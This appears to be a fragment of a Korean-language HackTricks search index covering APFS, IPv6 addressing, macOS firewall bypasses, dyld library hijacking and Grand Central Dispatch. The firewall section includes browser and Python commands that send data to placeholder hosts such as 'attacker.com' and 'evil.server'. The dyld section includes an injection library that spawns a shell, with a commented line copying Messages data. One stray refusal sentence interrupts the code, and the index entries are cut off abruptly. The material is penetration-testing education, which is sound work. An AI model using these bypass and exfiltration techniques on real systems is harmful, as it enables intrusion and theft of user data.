전통적인 파티션과 비교할 때, APFS에서 서로 다른 파티션(볼륨)이 모든 디스크 공간을 공유 한다는 것을 의미하며, 일반적인 파티션은 보통 고정 크기를 가집니다. 스냅샷 : APFS는 읽기 전용 인 파일 시스템의 시점 인스턴스인 스냅샷 생성 을 지원합니다. 스냅샷은 추가 저장소를 최소한으로 소모하면서 효율적인 백업과 쉬운 시스템 롤백을 가능하게 합니다. 클론 : APFS는 원본과 동일한 저장소를 공유하는 파일 또는 디렉토리 클론을 생성 할 수 있으며, 원본 파일이나 클론이 수정될 때까지 이 저장소를 공유합니다. 이 기능은 저장소 공간을 중복하지 않고 파일이나 디렉토리의 복사본을 효율적으로 생성하는 방법을 제공합니다. 암호화 : APFS는 전체 디스크 암호화 와 파일별 및 디렉토리별 암호화를 기본적으로 지원하여 다양한 사용 사례에서 데이터 보안을 강화합니다. 충돌 보호 : APFS는 파일 시스템 일관성을 보장하는 복사-쓰기 메타데이터 방식을 사용 하여 갑작스러운 전원 손실이나 시스템 충돌의 경우에도 데이터 손상 위험을 줄입니다. 전반적으로 APFS는 Apple 장치에 대해 더 현대적이고 유연하며 효율적인 파일 시스템을 제공하며, 향상된 성능, 신뢰성 및 보안에 중점을 두고 있습니다. bash diskutil list # Get overview of the APFS volumes","breadcrumbs":"macOS Security & Privilege Escalation » macOS AppleFS » Apple 독점 파일 시스템 (APFS)","id":"2116","title":"Apple 독점 파일 시스템 (APFS)"},"2117":{"body":"Data 볼륨은 **/System/Volumes/Data**에 마운트됩니다 (이것은 diskutil apfs list로 확인할 수 있습니다). firmlinks 목록은 /usr/share/firmlinks 파일에서 찾을 수 있습니다. bash tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS AppleFS » Firmlinks","id":"2117","title":"Firmlinks"},"2118":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » macOS 방화벽 우회","id":"2118","title":"macOS 방화벽 우회"},"2119":{"body":"다음 기술은 일부 macOS 방화벽 앱에서 작동하는 것으로 확인되었습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 발견된 기술","id":"2119","title":"발견된 기술"},"212":{"body":"주어진 MAC 주소 **12:34:56:78:9a:bc**를 사용하여 Link-local IPv6 주소를 다음과 같이 구성할 수 있습니다: MAC을 IPv6 형식으로 변환: 1234:5678:9abc fe80::를 앞에 붙이고 중간에 fffe를 삽입: fe80::1234:56ff:fe78:9abc 왼쪽에서 일곱 번째 비트를 반전시켜 1234를 1034로 변경: fe80::1034:56ff:fe78:9abc","breadcrumbs":"Pentesting Network » Pentesting IPv6 » MAC 주소에서 Link-local IPv6 파생하기","id":"212","title":"MAC 주소에서 Link-local IPv6 파생하기"},"2120":{"body":"예를 들어 **launchd**와 같은 잘 알려진 macOS 프로세스의 이름으로 악성 코드를 호출하기","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 화이트리스트 이름 악용","id":"2120","title":"화이트리스트 이름 악용"},"2121":{"body":"방화벽이 사용자에게 권한을 요청하면 악성 코드가 허용 클릭 을 하도록 하기","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 합성 클릭","id":"2121","title":"합성 클릭"},"2122":{"body":"**curl**과 같은 것들, 하지만 **whois**와 같은 다른 것들도 포함","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » Apple 서명 이진 파일 사용","id":"2122","title":"Apple 서명 이진 파일 사용"},"2123":{"body":"방화벽이 apple.com 또는 **icloud.com**과 같은 잘 알려진 애플 도메인에 대한 연결을 허용할 수 있습니다. 그리고 iCloud는 C2로 사용될 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 잘 알려진 애플 도메인","id":"2123","title":"잘 알려진 애플 도메인"},"2124":{"body":"방화벽을 우회하기 위해 시도할 수 있는 몇 가지 아이디어","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 일반적인 우회","id":"2124","title":"일반적인 우회"},"2125":{"body":"허용된 트래픽을 아는 것은 잠재적으로 화이트리스트에 있는 도메인이나 어떤 애플리케이션이 그것에 접근할 수 있는지를 식별하는 데 도움이 됩니다. bash lsof -i TCP -sTCP:ESTABLISHED","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 허용된 트래픽 확인","id":"2125","title":"허용된 트래픽 확인"},"2126":{"body":"DNS 해석은 mdnsreponder 서명된 애플리케이션을 통해 이루어지며, 이는 아마도 DNS 서버에 연락할 수 있도록 허용될 것입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » DNS 악용","id":"2126","title":"DNS 악용"},"2127":{"body":"oascript applescript tell application \\"Safari\\"\\nrun\\ntell application \\"Finder\\" to set visible of process \\"Safari\\" to false\\nmake new document\\nset the URL of document 1 to \\"https://attacker.com?data=data%20to%20exfil\\nend tell 구글 크롬 bash \\"Google Chrome\\" --crash-dumps-dir=/tmp --headless \\"https://attacker.com?data=data%20to%20exfil\\" 파이어폭스 bash firefox-bin --headless \\"https://attacker.com?data=data%20to%20exfil\\" 사파리 bash open -j -a Safari \\"https://attacker.com?data=data%20to%20exfil\\"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 브라우저 앱을 통한 방법","id":"2127","title":"브라우저 앱을 통한 방법"},"2128":{"body":"서버에 연결할 수 있는 프로세스에 코드를 주입 할 수 있다면 방화벽 보호를 우회할 수 있습니다: macOS Process Abuse","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 프로세스 주입을 통한 방법","id":"2128","title":"프로세스 주입을 통한 방법"},"2129":{"body":"","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 최근 macOS 방화벽 우회 취약점 (2023-2025)","id":"2129","title":"최근 macOS 방화벽 우회 취약점 (2023-2025)"},"213":{"body":"Unique Local Address (ULA) : 로컬 통신을 위한 것으로, 공용 인터넷 라우팅을 위한 것이 아닙니다. 접두사: FEC00::/7 Multicast Address : 일대다 통신을 위한 것입니다. 멀티캐스트 그룹의 모든 인터페이스에 전달됩니다. 접두사: FF00::/8 Anycast Address : 일대가장 가까운 통신을 위한 것입니다. 라우팅 프로토콜에 따라 가장 가까운 인터페이스로 전송됩니다. 2000::/3 글로벌 유니캐스트 범위의 일부입니다.","breadcrumbs":"Pentesting Network » Pentesting IPv6 » IPv6 주소 유형","id":"213","title":"IPv6 주소 유형"},"2130":{"body":"2024년 7월, Apple은 스크린 타임 부모 통제에서 사용되는 시스템 전체 “웹 콘텐츠 필터”를 망가뜨린 심각한 버그를 Safari/WebKit에서 패치했습니다. 특별히 제작된 URI(예: 이중 URL 인코딩된 “://”)는 스크린 타임 ACL에 의해 인식되지 않지만 WebKit에 의해 수용되므로 요청이 필터링되지 않고 전송됩니다. 따라서 URL을 열 수 있는 모든 프로세스(샌드박스화된 코드나 서명되지 않은 코드 포함)는 사용자나 MDM 프로필에 의해 명시적으로 차단된 도메인에 도달할 수 있습니다. 실용적인 테스트 (패치되지 않은 시스템): bash open \\"http://attacker%2Ecom%2F./\\" # should be blocked by Screen Time\\n# if the patch is missing Safari will happily load the page","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 웹 콘텐츠 필터 (스크린 타임) 우회 – CVE-2024-44206","id":"2130","title":"웹 콘텐츠 필터 (스크린 타임) 우회 – CVE-2024-44206"},"2131":{"body":"macOS 14 베타 주기 동안 Apple은 pfctl 주위의 사용자 공간 래퍼에서 회귀를 도입했습니다. quick 키워드로 추가된 규칙(많은 VPN 킬 스위치에서 사용됨)은 조용히 무시되어, VPN/방화벽 GUI가 차단됨 을 보고하더라도 트래픽 누수가 발생했습니다. 이 버그는 여러 VPN 공급업체에 의해 확인되었고 RC 2(빌드 23A344)에서 수정되었습니다. Quick leak-check: bash pfctl -sr | grep quick # rules are present…\\nsudo tcpdump -n -i en0 not port 53 # …but packets still leave the interface","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » Packet Filter (PF) 규칙 순서 버그 in early macOS 14 “Sonoma”","id":"2131","title":"Packet Filter (PF) 규칙 순서 버그 in early macOS 14 “Sonoma”"},"2132":{"body":"macOS 11.2 이전에 **ContentFilterExclusionList**는 **nsurlsessiond**와 App Store와 같은 약 50개의 Apple 바이너리가 Network Extension 프레임워크(LuLu, Little Snitch 등)로 구현된 모든 소켓 필터 방화벽을 우회할 수 있도록 허용했습니다. 악성 소프트웨어는 단순히 제외된 프로세스를 생성하거나 그 안에 코드를 주입하여 이미 허용된 소켓을 통해 자신의 트래픽을 터널링할 수 있었습니다. Apple은 macOS 11.2에서 제외 목록을 완전히 제거했지만, 이 기술은 업그레이드할 수 없는 시스템에서 여전히 유효합니다. 예시 개념 증명 (11.2 이전): python import subprocess, socket\\n# Launch excluded App Store helper (path collapsed for clarity)\\nsubprocess.Popen([\'/System/Applications/App\\\\\\\\ Store.app/Contents/MacOS/App Store\'])\\n# Connect through the inherited socket\\ns = socket.create_connection((\\"evil.server\\", 443))\\ns.send(b\\"exfil...\\")","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » Apple 서명 헬퍼 서비스 악용 (구형 – macOS 11.2 이전)","id":"2132","title":"Apple 서명 헬퍼 서비스 악용 (구형 – macOS 11.2 이전)"},"2133":{"body":"GUI 방화벽이 생성하는 현재 PF 규칙 검사: bash sudo pfctl -a com.apple/250.ApplicationFirewall -sr 이미 outgoing-network 권한을 가진 바이너리 나열 (피기백에 유용): bash codesign -d --entitlements :- /path/to/bin 2>/dev/null \\\\\\n| plutil -extract com.apple.security.network.client xml1 -o - - Objective-C/Swift에서 프로그램적으로 자신의 네트워크 확장 콘텐츠 필터 등록. 패킷을 로컬 소켓으로 전달하는 최소한의 루트리스 PoC는 Patrick Wardle의 LuLu 소스 코드에서 사용할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 현대 macOS를 위한 도구 팁","id":"2133","title":"현대 macOS를 위한 도구 팁"},"2134":{"body":"https://www.youtube.com/watch?v=UlT5KFTMn2k https://nosebeard.co/advisories/nbl-001.html https://thehackernews.com/2021/01/apple-removes-macos-feature-that.html tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Bypassing Firewalls » 참고문헌","id":"2134","title":"참고문헌"},"2135":{"body":"Reading time: 2 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Defensive Apps » macOS Defensive Apps","id":"2135","title":"macOS Defensive Apps"},"2136":{"body":"Little Snitch : 각 프로세스가 생성하는 모든 연결을 모니터링합니다. 모드에 따라 (조용히 연결 허용, 조용히 연결 거부 및 경고) 새로운 연결이 설정될 때마다 경고를 표시 합니다. 이 모든 정보를 볼 수 있는 매우 멋진 GUI도 있습니다. LuLu : Objective-See 방화벽. 의심스러운 연결에 대해 경고하는 기본 방화벽입니다 (GUI가 있지만 Little Snitch의 것만큼 화려하지는 않습니다).","breadcrumbs":"macOS Security & Privilege Escalation » macOS Defensive Apps » Firewalls","id":"2136","title":"Firewalls"},"2137":{"body":"KnockKnock : 악성코드가 지속될 수 있는 여러 위치를 검색하는 Objective-See 애플리케이션입니다 (일회성 도구로, 모니터링 서비스가 아닙니다). BlockBlock : KnockKnock처럼 지속성을 생성하는 프로세스를 모니터링합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Defensive Apps » Persistence detection","id":"2137","title":"Persistence detection"},"2138":{"body":"ReiKey : 키보드 \\"이벤트 탭\\"을 설치하는 키로거 를 찾기 위한 Objective-See 애플리케이션입니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Defensive Apps » Keyloggers detection","id":"2138","title":"Keyloggers detection"},"2139":{"body":"Reading time: 5 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » Macos Dyld Hijacking And Dyld Insert Libraries » macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES","id":"2139","title":"macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES"},"214":{"body":"fe80::/10 : Link-Local 주소 (169.254.x.x와 유사) fc00::/7 : Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x와 같은 사설 IPv4 범위와 유사) 2000::/3 : 글로벌 유니캐스트 ff02::1 : 모든 노드에 대한 멀티캐스트 ff02::2 : 라우터 노드에 대한 멀티캐스트","breadcrumbs":"Pentesting Network » Pentesting IPv6 » 주소 접두사","id":"214","title":"주소 접두사"},"2140":{"body":"주입할 라이브러리 쉘을 실행하기 위해: c // gcc -dynamiclib -o inject.dylib inject.c #include \\n#include \\n#include \\n#include \\n__attribute__((constructor)) void myconstructor(int argc, const char **argv)\\n{\\nsyslog(LOG_ERR, \\"[+] dylib injected in %s\\\\n\\", argv[0]);\\nprintf(\\"[+] dylib injected in %s\\\\n\\", argv[0]);\\nexecv(\\"/bin/bash\\", 0);\\n//system(\\"cp -r ~/Library/Messages/ /tmp/Messages/\\");\\n} 공격할 바이너리: c // gcc hello.c -o hello\\n#include int main()\\n{\\nprintf(\\"Hello, World!\\\\n\\");\\nreturn 0;\\n} 주입: bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello","breadcrumbs":"macOS Security & Privilege Escalation » Macos Dyld Hijacking And Dyld Insert Libraries » DYLD_INSERT_LIBRARIES 기본 예제","id":"2140","title":"DYLD_INSERT_LIBRARIES 기본 예제"},"2141":{"body":"타겟 취약 바이너리는 /Applications/VulnDyld.app/Contents/Resources/lib/binary입니다. entitlements\\nLC_RPATH\\n@rpath codesign -dv --entitlements :- \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\"\\n[...]com.apple.security.cs.disable-library-validation[...] bash # Check where are the @rpath locations\\notool -l \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\" | grep LC_RPATH -A 2\\ncmd LC_RPATH\\ncmdsize 32\\npath @loader_path/. (offset 12)\\n--\\ncmd LC_RPATH\\ncmdsize 32\\npath @loader_path/../lib2 (offset 12) bash # Check librareis loaded using @rapth and the used versions\\notool -l \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\" | grep \\"@rpath\\" -A 3\\nname @rpath/lib.dylib (offset 24)\\ntime stamp 2 Thu Jan 1 01:00:02 1970\\ncurrent version 1.0.0\\ncompatibility version 1.0.0\\n# Check the versions 이전 정보를 통해 우리는 로드된 라이브러리의 서명을 확인하지 않고 있으며 다음에서 라이브러리를 로드하려고 시도하고 있다는 것을 알 수 있습니다 : /Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib /Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib 하지만 첫 번째는 존재하지 않습니다: bash pwd\\n/Applications/VulnDyld.app find ./ -name lib.dylib\\n./Contents/Resources/lib2/lib.dylib 그래서, 그것을 탈취하는 것이 가능합니다! 임의의 코드를 실행하고 정품 라이브러리와 동일한 기능을 재수출하는 라이브러리를 만드세요. 그리고 예상되는 버전으로 컴파일하는 것을 잊지 마세요: lib.m #import __attribute__((constructor))\\nvoid custom(int argc, const char **argv) {\\nNSLog(@\\"[+] dylib hijacked in %s\\", argv[0]);\\n} 죄송하지만, 요청하신 내용을 처리할 수 없습니다. bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,\\"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib\\" -o \\"/tmp/lib.dylib\\"\\n# Note the versions and the reexport 라이브러리에서 생성된 재수출 경로는 로더에 상대적입니다. 이를 라이브러리를 내보내기 위한 절대 경로로 변경합시다: bash #Check relative\\notool -l /tmp/lib.dylib| grep REEXPORT -A 2\\ncmd LC_REEXPORT_DYLIB\\ncmdsize 48\\nname @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path\\ninstall_name_tool -change @rpath/lib.dylib \\"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib\\" /tmp/lib.dylib # Check again\\notool -l /tmp/lib.dylib| grep REEXPORT -A 2\\ncmd LC_REEXPORT_DYLIB\\ncmdsize 128\\nname /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) 마지막으로 탈취된 위치 에 복사합니다: bash cp lib.dylib \\"/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib\\" 이진 파일을 실행 하고 라이브러리가 로드되었는지 확인합니다: \\"/Applications/VulnDyld.app/Contents/Resources/lib/binary\\"\\n2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary\\nUsage: [...] note 이 취약점을 악용하여 텔레그램의 카메라 권한을 악용하는 방법에 대한 좋은 글은 https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/ 에서 찾을 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » Macos Dyld Hijacking And Dyld Insert Libraries » Dyld Hijacking Example","id":"2141","title":"Dyld Hijacking Example"},"2142":{"body":"예상치 못한 이진 파일에 라이브러리를 주입하려는 경우, 이벤트 메시지를 확인하여 프로세스 내에서 라이브러리가 로드되는 시점을 파악할 수 있습니다(이 경우 printf와 /bin/bash 실행을 제거하십시오). bash sudo log stream --style syslog --predicate \'eventMessage CONTAINS[c] \\"[+] dylib\\"\' tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » Macos Dyld Hijacking And Dyld Insert Libraries » 더 큰 규모","id":"2142","title":"더 큰 규모"},"2143":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » macOS GCD - Grand Central Dispatch","id":"2143","title":"macOS GCD - Grand Central Dispatch"},"2144":{"body":"Grand Central Dispatch (GCD) , 또한 libdispatch (libdispatch.dyld)로 알려져 있으며, macOS와 iOS 모두에서 사용할 수 있습니다. 이는 Apple이 다중 코어 하드웨어에서 동시(멀티스레드) 실행을 최적화하기 위해 개발한 기술입니다. GCD 는 애플리케이션이 블록 객체 형태로 작업을 제출 할 수 있는 FIFO 큐 를 제공하고 관리합니다. 디스패치 큐에 제출된 블록은 시스템에 의해 완전히 관리되는 스레드 풀 에서 실행됩니다 . GCD는 디스패치 큐에서 작업을 실행하기 위해 스레드를 자동으로 생성하고, 사용 가능한 코어에서 실행할 작업을 예약합니다. tip 요약하자면, 병렬 로 코드를 실행하기 위해 프로세스는 GCD에 코드 블록을 전송 할 수 있으며, GCD가 실행을 처리합니다. 따라서 프로세스는 새로운 스레드를 생성하지 않으며, GCD는 자체 스레드 풀을 사용하여 주어진 코드를 실행합니다 (필요에 따라 증가하거나 감소할 수 있습니다). 이는 병렬 실행을 성공적으로 관리하는 데 매우 유용하며, 프로세스가 생성하는 스레드 수를 크게 줄이고 병렬 실행을 최적화합니다. 이는 큰 병렬성 (무차별 대입?)이 필요한 작업이나 메인 스레드를 차단해서는 안 되는 작업에 이상적입니다: 예를 들어, iOS의 메인 스레드는 UI 상호작용을 처리하므로, 앱을 멈추게 할 수 있는 다른 기능(검색, 웹 접근, 파일 읽기 등)은 이 방식으로 관리됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Basic Information","id":"2144","title":"Basic Information"},"2145":{"body":"블록은 자체 포함된 코드 섹션 (값을 반환하는 인수가 있는 함수와 유사)이며, 바인드 변수를 지정할 수도 있습니다. 그러나 컴파일러 수준에서 블록은 존재하지 않으며, os_object입니다. 이러한 각 객체는 두 개의 구조체로 구성됩니다: 블록 리터럴 : 블록의 클래스에 포인터를 가리키는 isa 필드로 시작합니다: NSConcreteGlobalBlock ( __DATA.__const의 블록) NSConcreteMallocBlock (힙의 블록) NSConcreateStackBlock (스택의 블록) flags (블록 설명자에 존재하는 필드를 나타냄) 및 일부 예약된 바이트가 있습니다. 호출할 함수 포인터 블록 설명자에 대한 포인터 가져온 블록 변수(있는 경우) 블록 설명자 : 크기는 존재하는 데이터에 따라 다릅니다(이전 플래그에서 나타낸 대로). 일부 예약된 바이트가 있습니다. 크기 일반적으로 매개변수에 필요한 공간을 알기 위해 Objective-C 스타일 서명에 대한 포인터가 있을 것입니다(플래그 BLOCK_HAS_SIGNATURE). 변수가 참조되는 경우, 이 블록은 복사 도우미(시작 시 값을 복사) 및 해제 도우미(해제)를 가리키는 포인터도 가집니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Blocks","id":"2145","title":"Blocks"},"2146":{"body":"디스패치 큐는 실행을 위한 블록의 FIFO 순서를 제공하는 명명된 객체입니다. 블록은 실행을 위해 큐에 설정되며, 이들은 DISPATCH_QUEUE_SERIAL 및 DISPATCH_QUEUE_CONCURRENT의 두 가지 모드를 지원합니다. 물론 직렬 큐는 경쟁 조건 문제가 없으며, 블록은 이전 블록이 완료될 때까지 실행되지 않습니다. 그러나 다른 유형의 큐는 그럴 수 있습니다 . 기본 큐: .main-thread: dispatch_get_main_queue()에서 .libdispatch-manager: GCD의 큐 관리자 .root.libdispatch-manager: GCD의 큐 관리자 .root.maintenance-qos: 최저 우선 순위 작업 .root.maintenance-qos.overcommit .root.background-qos: DISPATCH_QUEUE_PRIORITY_BACKGROUND로 사용 가능 .root.background-qos.overcommit .root.utility-qos: DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE로 사용 가능 .root.utility-qos.overcommit .root.default-qos: DISPATCH_QUEUE_PRIORITY_DEFAULT로 사용 가능 .root.background-qos.overcommit .root.user-initiated-qos: DISPATCH_QUEUE_PRIORITY_HIGH로 사용 가능 .root.background-qos.overcommit .root.user-interactive-qos: 가장 높은 우선 순위 .root.background-qos.overcommit 각 시점에서 어떤 스레드가 어떤 큐를 처리할지 결정하는 것은 시스템이므로 주의하세요(여러 스레드가 동일한 큐에서 작업할 수 있거나 동일한 스레드가 여러 큐에서 작업할 수 있습니다). Attributtes **dispatch_queue_create**로 큐를 생성할 때 세 번째 인수는 dispatch_queue_attr_t로, 일반적으로 DISPATCH_QUEUE_SERIAL(실제로는 NULL) 또는 DISPATCH_QUEUE_CONCURRENT로, 큐의 일부 매개변수를 제어할 수 있는 dispatch_queue_attr_t 구조체에 대한 포인터입니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Queues","id":"2146","title":"Queues"},"2147":{"body":"libdispatch가 사용하는 여러 객체가 있으며, 큐와 블록은 그 중 두 가지에 불과합니다. 이러한 객체는 dispatch_object_create로 생성할 수 있습니다: block data: 데이터 블록 group: 블록 그룹 io: 비동기 I/O 요청 mach: Mach 포트 mach_msg: Mach 메시지 pthread_root_queue: pthread 스레드 풀을 가진 큐 및 작업 큐가 아님 queue semaphore source: 이벤트 소스","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Dispatch objects","id":"2147","title":"Dispatch objects"},"2148":{"body":"Objective-C에서는 블록을 병렬로 실행하기 위해 전송하는 다양한 함수가 있습니다: dispatch_async : 디스패치 큐에서 비동기 실행을 위해 블록을 제출하고 즉시 반환합니다. dispatch_sync : 실행을 위해 블록 객체를 제출하고 해당 블록이 실행을 마친 후 반환합니다. dispatch_once : 애플리케이션의 생애 동안 블록 객체를 한 번만 실행합니다. dispatch_async_and_wait : 실행을 위해 작업 항목을 제출하고 실행이 완료된 후에만 반환합니다. dispatch_sync 와 달리, 이 함수는 블록을 실행할 때 큐의 모든 속성을 존중합니다. 이러한 함수는 다음 매개변수를 기대합니다: dispatch_queue_t queue, dispatch_block_t block 이것은 블록의 구조체 입니다: c struct Block {\\nvoid *isa; // NSConcreteStackBlock,...\\nint flags;\\nint reserved;\\nvoid *invoke;\\nstruct BlockDescriptor *descriptor;\\n// captured variables go here\\n}; 그리고 이것은 **dispatch_async**와 함께 병렬성 을 사용하는 예입니다: objectivec #import // Define a block\\nvoid (^backgroundTask)(void) = ^{\\n// Code to be executed in the background\\nfor (int i = 0; i < 10; i++) {\\nNSLog(@\\"Background task %d\\", i);\\nsleep(1); // Simulate a long-running task\\n}\\n}; int main(int argc, const char * argv[]) {\\n@autoreleasepool {\\n// Create a dispatch queue\\ndispatch_queue_t backgroundQueue = dispatch_queue_create(\\"com.example.backgroundQueue\\", NULL); // Submit the block to the queue for asynchronous execution\\ndispatch_async(backgroundQueue, backgroundTask); // Continue with other work on the main queue or thread\\nfor (int i = 0; i < 10; i++) {\\nNSLog(@\\"Main task %d\\", i);\\nsleep(1); // Simulate a long-running task\\n}\\n}\\nreturn 0;\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS GCD - Grand Central Dispatch » Objective-C","id":"2148","title":"Objective-C"},"2149":{"body":"**libswiftDispatch**는 원래 C로 작성된 Grand Central Dispatch (GCD) 프레임워크에 대한 Swift 바인딩 을 제공하는 라이브러리입니다. libswiftDispatch 라이브러리는 C GCD API를 더 Swift 친화적인 인터페이스로 감싸, Swift 개발자가 GCD와 작업하기 쉽게 하고 직관적으로 만듭니다. DispatchQueue.global().sync{ ... } DispatchQueue.global().async{ ... } let onceToken = DispatchOnce(); onceToken.perform { ... } async await var (data, response) = await URLSession.shared.data(from: URL(string: \\"https://api.example.com/getData\\")) Code example : swift import Foundation // Define a closure (the Swift equivalent of a block)\\nlet backgroundTask: () -> Void = {\\nfor i in 0..<10 {\\nprint(\\"Background task \\\\(i)\\")\\nsleep(1) // Simulate a long-running task\\n}\\n} // Entry point\\nautoreleasepool {\\n// Create a dispatch queue\\nlet backgroundQueue = DispatchQueue(label: \\"com.example.backgroundQueue\\") // Submit the closure to the queue for asynchronous 